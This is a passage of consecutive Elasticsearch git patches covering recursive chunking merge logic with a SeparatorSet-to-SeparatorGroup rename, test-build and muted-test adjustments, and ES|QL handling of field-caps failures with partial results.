+++ b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
@@ -34,8 +34,8 @@ public void setupPolicyManager() {
             List.of(),
             Map.of(),
             c -> new PolicyScope(PLUGIN, "example-plugin" + scopeCounter.incrementAndGet(), "org.example.module"),
-            Map.of(),
             new TestPathLookup(Map.of()),
+            List.of(),
             List.of()
         );
         policyManager.setActive(true);
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/ssl/SSLErrorMessageFileTests.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/ssl/SSLErrorMessageFileTests.java
index 4f64b780e1f97..2ac2d4ebf0c32 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/ssl/SSLErrorMessageFileTests.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/ssl/SSLErrorMessageFileTests.java
@@ -16,7 +16,6 @@
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.env.TestEnvironment;
-import org.elasticsearch.jdk.RuntimeVersionFeature;
 import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.xpack.core.ssl.SSLService;
 import org.junit.Before;
@@ -363,11 +362,6 @@ private void checkBlockedResource(
         String configKey,
         BiConsumer<String, Settings.Builder> configure
     ) throws Exception {
-        assumeTrue(
-            "Requires Security Manager to block access, entitlements are not checked for unit tests",
-            RuntimeVersionFeature.isSecurityManagerAvailable()
-        );
-
         final String prefix = randomSslPrefix();
         final Settings.Builder settings = Settings.builder();
         configure.accept(prefix, settings);

From 3ac95b19178fe5114c8c77df5daa45e91d7270aa Mon Sep 17 00:00:00 2001
From: Dan Rubinstein <daniel.rubinstein@elastic.co>
Date: Mon, 14 Jul 2025 12:12:25 -0400
Subject: [PATCH 140/299] Adding merging logic to recursive chunking and
 renaming SeparatorSet to SeparatorGroup (#131103) (#131228)

* Adding merging logic to recursive chunking and renaming SeparatorSet to SeparatorGroup

* Update docs/changelog/131103.yaml

* Delete docs/changelog/131103.yaml

---------

Co-authored-by: Elastic Machine <elasticmachine@users.noreply.github.com>
---
 .../chunking/ChunkingSettingsOptions.java     |  2 +-
 .../inference/chunking/RecursiveChunker.java  | 32 +++++++++++++++-
 .../chunking/RecursiveChunkingSettings.java   | 18 ++++-----
 ...{SeparatorSet.java => SeparatorGroup.java} |  6 +--
 .../chunking/RecursiveChunkerTests.java       | 38 +++++++++++++++++--
 .../RecursiveChunkingSettingsTests.java       | 16 ++++----
 6 files changed, 87 insertions(+), 25 deletions(-)
 rename x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/{SeparatorSet.java => SeparatorGroup.java} (89%)

diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/ChunkingSettingsOptions.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/ChunkingSettingsOptions.java
index 5d04df5d2e1d5..c5e4abd3648c5 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/ChunkingSettingsOptions.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/ChunkingSettingsOptions.java
@@ -12,7 +12,7 @@ public enum ChunkingSettingsOptions {
     MAX_CHUNK_SIZE("max_chunk_size"),
     OVERLAP("overlap"),
     SENTENCE_OVERLAP("sentence_overlap"),
-    SEPARATOR_SET("separator_set"),
+    SEPARATOR_GROUP("separator_group"),
     SEPARATORS("separators");
 
     private final String chunkingSettingsOption;
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunker.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunker.java
index 690a3d8ff0efe..c68dc3b216744 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunker.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunker.java
@@ -60,7 +60,10 @@ private List<ChunkOffset> chunk(String input, ChunkOffset offset, List<String> s
             return chunkWithBackupChunker(input, offset, maxChunkSize);
         }
 
-        var potentialChunks = splitTextBySeparatorRegex(input, offset, separators.get(separatorIndex));
+        var potentialChunks = mergeChunkOffsetsUpToMaxChunkSize(
+            splitTextBySeparatorRegex(input, offset, separators.get(separatorIndex)),
+            maxChunkSize
+        );
         var actualChunks = new ArrayList<ChunkOffset>();
         for (var potentialChunk : potentialChunks) {
             if (isChunkWithinMaxSize(potentialChunk, maxChunkSize)) {
@@ -104,6 +107,33 @@ private List<ChunkOffsetAndCount> splitTextBySeparatorRegex(String input, ChunkO
         return chunkOffsets;
     }
 
+    private List<ChunkOffsetAndCount> mergeChunkOffsetsUpToMaxChunkSize(List<ChunkOffsetAndCount> chunkOffsets, int maxChunkSize) {
+        if (chunkOffsets.size() < 2) {
+            return chunkOffsets;
+        }
+
+        List<ChunkOffsetAndCount> mergedOffsetsAndCounts = new ArrayList<>();
+        var mergedChunk = chunkOffsets.getFirst();
+        for (int i = 1; i < chunkOffsets.size(); i++) {
+            var chunkOffsetAndCountToMerge = chunkOffsets.get(i);
+            var potentialMergedChunk = new ChunkOffsetAndCount(
+                new ChunkOffset(mergedChunk.chunkOffset.start(), chunkOffsetAndCountToMerge.chunkOffset.end()),
+                mergedChunk.wordCount + chunkOffsetAndCountToMerge.wordCount
+            );
+            if (isChunkWithinMaxSize(potentialMergedChunk, maxChunkSize)) {
+                mergedChunk = potentialMergedChunk;
+            } else {
+                mergedOffsetsAndCounts.add(mergedChunk);
+                mergedChunk = chunkOffsets.get(i);
+            }
+
+            if (i == chunkOffsets.size() - 1) {
+                mergedOffsetsAndCounts.add(mergedChunk);
+            }
+        }
+        return mergedOffsetsAndCounts;
+    }
+
     private List<ChunkOffset> chunkWithBackupChunker(String input, ChunkOffset offset, int maxChunkSize) {
         var chunks = new SentenceBoundaryChunker().chunk(
             input.substring(offset.start(), offset.end()),
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettings.java
index c368e1bb0c255..611736ceb4213 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettings.java
@@ -36,7 +36,7 @@ public class RecursiveChunkingSettings implements ChunkingSettings {
     private static final Set<String> VALID_KEYS = Set.of(
         ChunkingSettingsOptions.STRATEGY.toString(),
         ChunkingSettingsOptions.MAX_CHUNK_SIZE.toString(),
-        ChunkingSettingsOptions.SEPARATOR_SET.toString(),
+        ChunkingSettingsOptions.SEPARATOR_GROUP.toString(),
         ChunkingSettingsOptions.SEPARATORS.toString()
     );
 
@@ -45,7 +45,7 @@ public class RecursiveChunkingSettings implements ChunkingSettings {
 
     public RecursiveChunkingSettings(int maxChunkSize, List<String> separators) {
         this.maxChunkSize = maxChunkSize;
-        this.separators = separators == null ? SeparatorSet.PLAINTEXT.getSeparators() : separators;
+        this.separators = separators == null ? SeparatorGroup.PLAINTEXT.getSeparators() : separators;
     }
 
     public RecursiveChunkingSettings(StreamInput in) throws IOException {
@@ -72,12 +72,12 @@ public static RecursiveChunkingSettings fromMap(Map<String, Object> map) {
             validationException
         );
 
-        SeparatorSet separatorSet = ServiceUtils.extractOptionalEnum(
+        SeparatorGroup separatorGroup = ServiceUtils.extractOptionalEnum(
             map,
-            ChunkingSettingsOptions.SEPARATOR_SET.toString(),
+            ChunkingSettingsOptions.SEPARATOR_GROUP.toString(),
             ModelConfigurations.CHUNKING_SETTINGS,
-            SeparatorSet::fromString,
-            EnumSet.allOf(SeparatorSet.class),
+            SeparatorGroup::fromString,
+            EnumSet.allOf(SeparatorGroup.class),
             validationException
         );
 
@@ -88,12 +88,12 @@ public static RecursiveChunkingSettings fromMap(Map<String, Object> map) {
             validationException
         );
 
-        if (separators != null && separatorSet != null) {
+        if (separators != null && separatorGroup != null) {
             validationException.addValidationError("Recursive chunking settings can not have both separators and separator_set");
         }
 
-        if (separatorSet != null) {
-            separators = separatorSet.getSeparators();
+        if (separatorGroup != null) {
+            separators = separatorGroup.getSeparators();
         } else if (separators != null && separators.isEmpty()) {
             validationException.addValidationError("Recursive chunking settings can not have an empty list of separators");
         }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorSet.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorGroup.java
similarity index 89%
rename from x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorSet.java
rename to x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorGroup.java
index 61b997b8d17a9..cafd3b08ccf9b 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorSet.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/chunking/SeparatorGroup.java
@@ -10,17 +10,17 @@
 import java.util.List;
 import java.util.Locale;
 
-public enum SeparatorSet {
+public enum SeparatorGroup {
     PLAINTEXT("plaintext"),
     MARKDOWN("markdown");
 
     private final String name;
 
-    SeparatorSet(String name) {
+    SeparatorGroup(String name) {
         this.name = name;
     }
 
-    public static SeparatorSet fromString(String name) {
+    public static SeparatorGroup fromString(String name) {
         return valueOf(name.trim().toUpperCase(Locale.ROOT));
     }
 
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkerTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkerTests.java
index baa8429ae3c78..1cb90b11995fc 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkerTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkerTests.java
@@ -46,7 +46,7 @@ public void testChunkInputShorterThanMaxChunkSize() {
         assertExpectedChunksGenerated(input, settings, List.of(new Chunker.ChunkOffset(0, input.length())));
     }
 
-    public void testChunkInputRequiresOneSplit() {
+    public void testChunkInputRequiresOneSplitWithoutMerges() {
         List<String> separators = generateRandomSeparators();
         RecursiveChunkingSettings settings = generateChunkingSettings(10, separators);
         String input = generateTestText(2, List.of(separators.getFirst()));
@@ -58,7 +58,23 @@ public void testChunkInputRequiresOneSplit() {
         );
     }
 
-    public void testChunkInputRequiresMultipleSplits() {
+    public void testChunkInputRequiresOneSplitWithMerges() {
+        List<String> separators = generateRandomSeparators();
+        RecursiveChunkingSettings settings = generateChunkingSettings(20, separators);
+        String input = generateTestText(3, List.of(separators.getFirst(), separators.getFirst()));
+
+        var expectedFirstChunkOffsetEnd = TEST_SENTENCE.length() * 2 + separators.getFirst().length();
+        assertExpectedChunksGenerated(
+            input,
+            settings,
+            List.of(
+                new Chunker.ChunkOffset(0, expectedFirstChunkOffsetEnd),
+                new Chunker.ChunkOffset(expectedFirstChunkOffsetEnd, input.length())
+            )
+        );
+    }
+
+    public void testChunkInputRequiresMultipleSplitsWithoutMerges() {
         var separators = generateRandomSeparators();
         RecursiveChunkingSettings settings = generateChunkingSettings(15, separators);
         String input = generateTestText(4, List.of(separators.get(1), separators.getFirst(), separators.get(1)));
@@ -78,6 +94,22 @@ public void testChunkInputRequiresMultipleSplits() {
         );
     }
 
+    public void testChunkInputRequiresMultipleSplitsWithMerges() {
+        var separators = generateRandomSeparators();
+        RecursiveChunkingSettings settings = generateChunkingSettings(25, separators);
+        String input = generateTestText(4, List.of(separators.get(1), separators.getFirst(), separators.get(1)));
+
+        var expectedFirstChunkOffsetEnd = TEST_SENTENCE.length() * 2 + separators.get(1).length();
+        assertExpectedChunksGenerated(
+            input,
+            settings,
+            List.of(
+                new Chunker.ChunkOffset(0, expectedFirstChunkOffsetEnd),
+                new Chunker.ChunkOffset(expectedFirstChunkOffsetEnd, input.length())
+            )
+        );
+    }
+
     public void testChunkInputDoesNotSplitWhenNoLongerExceedingMaxChunkSize() {
         var separators = randomSubsetOf(3, TEST_SEPARATORS);
         RecursiveChunkingSettings settings = generateChunkingSettings(25, separators);
@@ -165,7 +197,7 @@ public void testChunkLongDocument() {
 
     public void testMarkdownChunking() {
         int numSentences = randomIntBetween(10, 50);
-        List<String> separators = SeparatorSet.MARKDOWN.getSeparators();
+        List<String> separators = SeparatorGroup.MARKDOWN.getSeparators();
         List<String> validHeaders = List.of(
             "# Header\n",
             "## Header\n",
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettingsTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettingsTests.java
index 40f14e88d2558..f833aa09b1aee 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettingsTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/chunking/RecursiveChunkingSettingsTests.java
@@ -32,15 +32,15 @@ public void testFromMapValidSettingsWithSeparators() {
         assertEquals(separators, settings.getSeparators());
     }
 
-    public void testFromMapValidSettingsWithSeparatorSet() {
+    public void testFromMapValidSettingsWithSeparatorGroup() {
         var maxChunkSize = randomIntBetween(10, 300);
-        var separatorSet = randomFrom(SeparatorSet.values());
-        Map<String, Object> validSettings = buildChunkingSettingsMap(maxChunkSize, Optional.of(separatorSet.name()), Optional.empty());
+        var separatorGroup = randomFrom(SeparatorGroup.values());
+        Map<String, Object> validSettings = buildChunkingSettingsMap(maxChunkSize, Optional.of(separatorGroup.name()), Optional.empty());
 
         RecursiveChunkingSettings settings = RecursiveChunkingSettings.fromMap(validSettings);
 
         assertEquals(maxChunkSize, settings.getMaxChunkSize());
-        assertEquals(separatorSet.getSeparators(), settings.getSeparators());
+        assertEquals(separatorGroup.getSeparators(), settings.getSeparators());
     }
 
     public void testFromMapMaxChunkSizeTooSmall() {
@@ -55,7 +55,7 @@ public void testFromMapMaxChunkSizeTooLarge() {
         assertThrows(ValidationException.class, () -> RecursiveChunkingSettings.fromMap(invalidSettings));
     }
 
-    public void testFromMapInvalidSeparatorSet() {
+    public void testFromMapInvalidSeparatorGroup() {
         Map<String, Object> invalidSettings = buildChunkingSettingsMap(randomIntBetween(10, 300), Optional.of("invalid"), Optional.empty());
 
         assertThrows(ValidationException.class, () -> RecursiveChunkingSettings.fromMap(invalidSettings));
@@ -68,7 +68,7 @@ public void testFromMapInvalidSettingKey() {
         assertThrows(ValidationException.class, () -> RecursiveChunkingSettings.fromMap(invalidSettings));
     }
 
-    public void testFromMapBothSeparatorsAndSeparatorSet() {
+    public void testFromMapBothSeparatorsAndSeparatorGroup() {
         Map<String, Object> invalidSettings = buildChunkingSettingsMap(
             randomIntBetween(10, 300),
             Optional.of("default"),
@@ -86,13 +86,13 @@ public void testFromMapEmptySeparators() {
 
     private Map<String, Object> buildChunkingSettingsMap(
         int maxChunkSize,
-        Optional<String> separatorSet,
+        Optional<String> separatorGroup,
         Optional<List<String>> separators
     ) {
         Map<String, Object> settingsMap = new HashMap<>();
         settingsMap.put(ChunkingSettingsOptions.STRATEGY.toString(), ChunkingStrategy.RECURSIVE.toString());
         settingsMap.put(ChunkingSettingsOptions.MAX_CHUNK_SIZE.toString(), maxChunkSize);
-        separatorSet.ifPresent(s -> settingsMap.put(ChunkingSettingsOptions.SEPARATOR_SET.toString(), s));
+        separatorGroup.ifPresent(s -> settingsMap.put(ChunkingSettingsOptions.SEPARATOR_GROUP.toString(), s));
         separators.ifPresent(strings -> settingsMap.put(ChunkingSettingsOptions.SEPARATORS.toString(), strings));
         return settingsMap;
     }

From a7cf2701bb760e98daf67c9cb540b081fd45be24 Mon Sep 17 00:00:00 2001
From: Mark Vieira <portugee@gmail.com>
Date: Mon, 14 Jul 2025 10:59:26 -0700
Subject: [PATCH 141/299] Disable async search rest tests in release builds
 (#131132) (#131136)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

These tests rely on test-only modules which can only be installed in
snapshot builds of ES. This disables these tests in our release builds.

Closes https://github.com/elastic/elasticsearch/issues/130978

Co-authored-by: Lorenzo Dematté <lorenzo.dematte@elastic.co>
---
 x-pack/plugin/async-search/build.gradle | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/x-pack/plugin/async-search/build.gradle b/x-pack/plugin/async-search/build.gradle
index 6117f8bea15dc..edb0847575fde 100644
--- a/x-pack/plugin/async-search/build.gradle
+++ b/x-pack/plugin/async-search/build.gradle
@@ -1,3 +1,5 @@
+import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask
+
 apply plugin: 'elasticsearch.internal-es-plugin'
 apply plugin: 'elasticsearch.internal-cluster-test'
 apply plugin: 'elasticsearch.internal-java-rest-test'
@@ -34,3 +36,8 @@ restResources {
     include '_common', 'indices', 'index', 'async_search'
   }
 }
+
+tasks.withType(StandaloneRestIntegTestTask).configureEach {
+  def isSnapshot = buildParams.snapshotBuild
+  it.onlyIf("snapshot build") { isSnapshot }
+}

From f2df229a67231e2aad40f4fe293de5fd265c844d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Slobodan=20Adamovi=C4=87?=
 <slobodanadamovic@users.noreply.github.com>
Date: Mon, 14 Jul 2025 20:14:10 +0200
Subject: [PATCH 142/299] Unmute closed/fixed security test failures on 9.0
 branch (#131190) (#131229)

(cherry picked from commit 497b656265ae53a309ad1cbe7a47ff9abdf9ac2d)

# Conflicts:
#	muted-tests.yml
---
 muted-tests.yml | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 8ca6329f30c27..e65553b0be8d2 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -64,8 +64,6 @@ tests:
 - class: org.elasticsearch.xpack.shutdown.NodeShutdownIT
   method: testAllocationPreventedForRemoval
   issue: https://github.com/elastic/elasticsearch/issues/116363
-- class: org.elasticsearch.xpack.security.authc.ldap.ActiveDirectoryGroupsResolverTests
-  issue: https://github.com/elastic/elasticsearch/issues/116182
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=snapshot/20_operator_privileges_disabled/Operator only settings can be set and restored by non-operator user when operator privileges is disabled}
   issue: https://github.com/elastic/elasticsearch/issues/116775
@@ -114,8 +112,6 @@ tests:
 - class: org.elasticsearch.xpack.ml.integration.ForecastIT
   method: testOverflowToDisk
   issue: https://github.com/elastic/elasticsearch/issues/117740
-- class: org.elasticsearch.xpack.security.authc.ldap.MultiGroupMappingIT
-  issue: https://github.com/elastic/elasticsearch/issues/119599
 - class: org.elasticsearch.multi_cluster.MultiClusterYamlTestSuiteIT
   issue: https://github.com/elastic/elasticsearch/issues/119983
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
@@ -138,8 +134,6 @@ tests:
 - class: org.elasticsearch.xpack.inference.DefaultEndPointsIT
   method: testMultipleInferencesTriggeringDownloadAndDeploy
   issue: https://github.com/elastic/elasticsearch/issues/120668
-- class: org.elasticsearch.xpack.security.authc.ldap.ADLdapUserSearchSessionFactoryTests
-  issue: https://github.com/elastic/elasticsearch/issues/119882
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=ml/3rd_party_deployment/Test start deployment fails while model download in progress}
   issue: https://github.com/elastic/elasticsearch/issues/120810
@@ -166,8 +160,6 @@ tests:
   issue: https://github.com/elastic/elasticsearch/issues/120950
 - class: org.elasticsearch.xpack.ml.integration.PyTorchModelIT
   issue: https://github.com/elastic/elasticsearch/issues/121165
-- class: org.elasticsearch.xpack.security.authc.ldap.ActiveDirectorySessionFactoryTests
-  issue: https://github.com/elastic/elasticsearch/issues/121285
 - class: org.elasticsearch.test.rest.yaml.CcsCommonYamlTestSuiteIT
   issue: https://github.com/elastic/elasticsearch/issues/121407
 - class: org.elasticsearch.analysis.common.CommonAnalysisClientYamlTestSuiteIT
@@ -571,4 +563,4 @@ tests:
 #    issue: "https://github.com/elastic/elasticsearch/..."
 #  - class: "org.elasticsearch.xpack.esql.**"
 #    method: "test {union_types.MultiIndexIpStringStatsInline *}"
-#    issue: "https://github.com/elastic/elasticsearch/..."
+#    issue: "https://github.com/elastic/elasticsearch/..."
\ No newline at end of file

From 8a077d1cc833f3c8fafd764d412e530c83ca0d45 Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Mon, 14 Jul 2025 19:21:44 -0300
Subject: [PATCH 143/299] Exclude `.triggered-watches` from indices cleanup in
 REST tests (#131235) (#131241)

Some tests were seeing an unexpected warning header from wiping all
indices in the test cleanup, caused by the `.triggered-watches` data
stream being present. We exclude the backing indices of this data stream
from the indices wipe to avoid the warning header. The presence of this
data stream shouldn't intefere with tests, and any tests that do
interact with that data stream should assert/control its state by
themselves to ensure consistency.

Fixes #129682
---
 .../main/java/org/elasticsearch/test/rest/ESRestTestCase.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/test/framework/src/main/java/org/elasticsearch/test/rest/ESRestTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/rest/ESRestTestCase.java
index 04c2ff20627a7..450231af8ecb3 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/rest/ESRestTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/rest/ESRestTestCase.java
@@ -1227,7 +1227,7 @@ protected static void wipeAllIndices(boolean preserveSecurityIndices) throws IOE
         try {
             // remove all indices except some history indices which can pop up after deleting all data streams but shouldn't interfere
             final List<String> indexPatterns = new ArrayList<>(
-                List.of("*", "-.ds-ilm-history-*", "-.ds-.slm-history-*", "-.ds-.watcher-history-*")
+                List.of("*", "-.ds-ilm-history-*", "-.ds-.slm-history-*", "-.ds-.watcher-history-*", "-.ds-.triggered_watches-*")
             );
             if (preserveSecurityIndices) {
                 indexPatterns.add("-.security-*");

From 58143930a753e5aeb9bf2a749254223573074c7a Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Mon, 14 Jul 2025 19:08:41 -0700
Subject: [PATCH 144/299] Handle failures that occur during field-caps
 (#130840) (#131254)

Currently, errors from the field-caps phase are not always handled
properly, leading to cases where the final response is not marked as
partial correctly. For example: FROM ok*,unavailable_index* should
return a partial result, as unavailable_index* is skipped after the
resolution phase. This change tracks failures that occur during
field-caps and reports them in the final response. Since this only
affects cases with allow_partial_results=true, I am labeling this as a
non-issue and will backport the change to 9.1 and 8.19.

(cherry picked from commit a699655a1d60a63bccd34739c1ef8a7a8969ee7a)
---
 ...CrossClusterQueryWithPartialResultsIT.java | 52 +++++++++++
 .../xpack/esql/plugin/CanMatchIT.java         |  6 ++
 .../xpack/esql/action/EsqlExecutionInfo.java  | 11 ++-
 .../xpack/esql/index/IndexResolution.java     | 52 ++++-------
 .../esql/plugin/ClusterComputeHandler.java    |  2 +-
 .../xpack/esql/plugin/ComputeService.java     | 14 +--
 .../xpack/esql/session/EsqlCCSUtils.java      | 66 +++++++++-----
 .../xpack/esql/session/EsqlSession.java       | 90 ++++++++++++++++---
 .../xpack/esql/session/IndexResolver.java     | 16 +---
 .../esql/action/EsqlExecutionInfoTests.java   |  2 +-
 .../xpack/esql/session/EsqlCCSUtilsTests.java | 33 ++++---
 11 files changed, 236 insertions(+), 108 deletions(-)

diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithPartialResultsIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithPartialResultsIT.java
index 62d5904b58b86..cdc242daa682c 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithPartialResultsIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithPartialResultsIT.java
@@ -10,6 +10,7 @@
 import org.elasticsearch.ExceptionsHelper;
 import org.elasticsearch.ResourceNotFoundException;
 import org.elasticsearch.action.search.ShardSearchFailure;
+import org.elasticsearch.action.support.ActiveShardCount;
 import org.elasticsearch.client.internal.Client;
 import org.elasticsearch.common.breaker.CircuitBreaker;
 import org.elasticsearch.common.breaker.CircuitBreakingException;
@@ -41,6 +42,7 @@
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.in;
 import static org.hamcrest.Matchers.instanceOf;
 import static org.hamcrest.Matchers.is;
@@ -62,12 +64,15 @@ private static class ClusterSetup {
     void populateIndices() throws Exception {
         local.okIds = populateIndex(LOCAL_CLUSTER, "ok-local", local.okShards, between(1, 100));
         populateIndexWithFailingFields(LOCAL_CLUSTER, "fail-local", local.failingShards);
+        createUnavailableIndex(LOCAL_CLUSTER, "unavailable-local");
 
         remote1.okIds = populateIndex(REMOTE_CLUSTER_1, "ok-cluster1", remote1.okShards, between(1, 100));
         populateIndexWithFailingFields(REMOTE_CLUSTER_1, "fail-cluster1", remote1.failingShards);
+        createUnavailableIndex(REMOTE_CLUSTER_1, "unavailable-cluster1");
 
         remote2.okIds = populateIndex(REMOTE_CLUSTER_2, "ok-cluster2", remote2.okShards, between(1, 100));
         populateIndexWithFailingFields(REMOTE_CLUSTER_2, "fail-cluster2", remote2.failingShards);
+        createUnavailableIndex(REMOTE_CLUSTER_2, "unavailable-cluster2");
     }
 
     private void assertClusterPartial(EsqlQueryResponse resp, String clusterAlias, ClusterSetup cluster) {
@@ -356,6 +361,42 @@ private static Exception randomFailure() {
         );
     }
 
+    public void testResolutionFailures() throws Exception {
+        populateIndices();
+        EsqlQueryRequest request = new EsqlQueryRequest();
+        request.allowPartialResults(true);
+        request.query("FROM ok*,unavailable* | LIMIT 1000");
+        try (var resp = runQuery(request)) {
+            assertThat(EsqlTestUtils.getValuesList(resp), hasSize(local.okIds.size()));
+            assertTrue(resp.isPartial());
+            EsqlExecutionInfo executionInfo = resp.getExecutionInfo();
+            var localCluster = executionInfo.getCluster(LOCAL_CLUSTER);
+            assertThat(localCluster.getFailures(), not(empty()));
+            assertThat(localCluster.getFailures().get(0).reason(), containsString("index [unavailable-local] has no active shard copy"));
+        }
+        request.query("FROM *:ok*,unavailable* | LIMIT 1000");
+        try (var resp = runQuery(request)) {
+            assertThat(EsqlTestUtils.getValuesList(resp), hasSize(remote1.okIds.size() + remote2.okIds.size()));
+            assertTrue(resp.isPartial());
+            var executionInfo = resp.getExecutionInfo();
+            var localCluster = executionInfo.getCluster(LOCAL_CLUSTER);
+            assertThat(localCluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SKIPPED));
+            assertThat(localCluster.getFailures(), not(empty()));
+            assertThat(localCluster.getFailures().get(0).reason(), containsString("index [unavailable-local] has no active shard copy"));
+            assertThat(executionInfo.getCluster(REMOTE_CLUSTER_1).getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SUCCESSFUL));
+            assertThat(executionInfo.getCluster(REMOTE_CLUSTER_2).getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SUCCESSFUL));
+        }
+        request.query("FROM ok*,cluster-a:unavailable* | LIMIT 1000");
+        try (var resp = runQuery(request)) {
+            assertThat(EsqlTestUtils.getValuesList(resp), hasSize(local.okIds.size()));
+            assertTrue(resp.isPartial());
+            var remote1 = resp.getExecutionInfo().getCluster(REMOTE_CLUSTER_1);
+            assertThat(remote1.getFailures(), not(empty()));
+            assertThat(remote1.getFailures().get(0).reason(), containsString("index [unavailable-cluster1] has no active shard copy"));
+            assertThat(resp.getExecutionInfo().getCluster(LOCAL_CLUSTER).getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SUCCESSFUL));
+        }
+    }
+
     private Set<String> populateIndexWithFailingFields(String clusterAlias, String indexName, int numShards) throws IOException {
         Client client = client(clusterAlias);
         XContentBuilder mapping = JsonXContent.contentBuilder().startObject();
@@ -398,4 +439,15 @@ private Set<String> populateIndexWithFailingFields(String clusterAlias, String i
         }
         return ids;
     }
+
+    private void createUnavailableIndex(String clusterAlias, String indexName) throws IOException {
+        Client client = client(clusterAlias);
+        assertAcked(
+            client.admin()
+                .indices()
+                .prepareCreate(indexName)
+                .setSettings(Settings.builder().put("index.routing.allocation.include._name", "no_such_node"))
+                .setWaitForActiveShards(ActiveShardCount.NONE)
+        );
+    }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/CanMatchIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/CanMatchIT.java
index e1ef6730c1f05..541e6a1421946 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/CanMatchIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/CanMatchIT.java
@@ -19,8 +19,10 @@
 import org.elasticsearch.index.shard.ShardId;
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.test.transport.MockTransportService;
+import org.elasticsearch.transport.RemoteClusterAware;
 import org.elasticsearch.transport.TransportService;
 import org.elasticsearch.xpack.esql.action.AbstractEsqlIntegTestCase;
+import org.elasticsearch.xpack.esql.action.EsqlExecutionInfo;
 import org.elasticsearch.xpack.esql.action.EsqlQueryResponse;
 
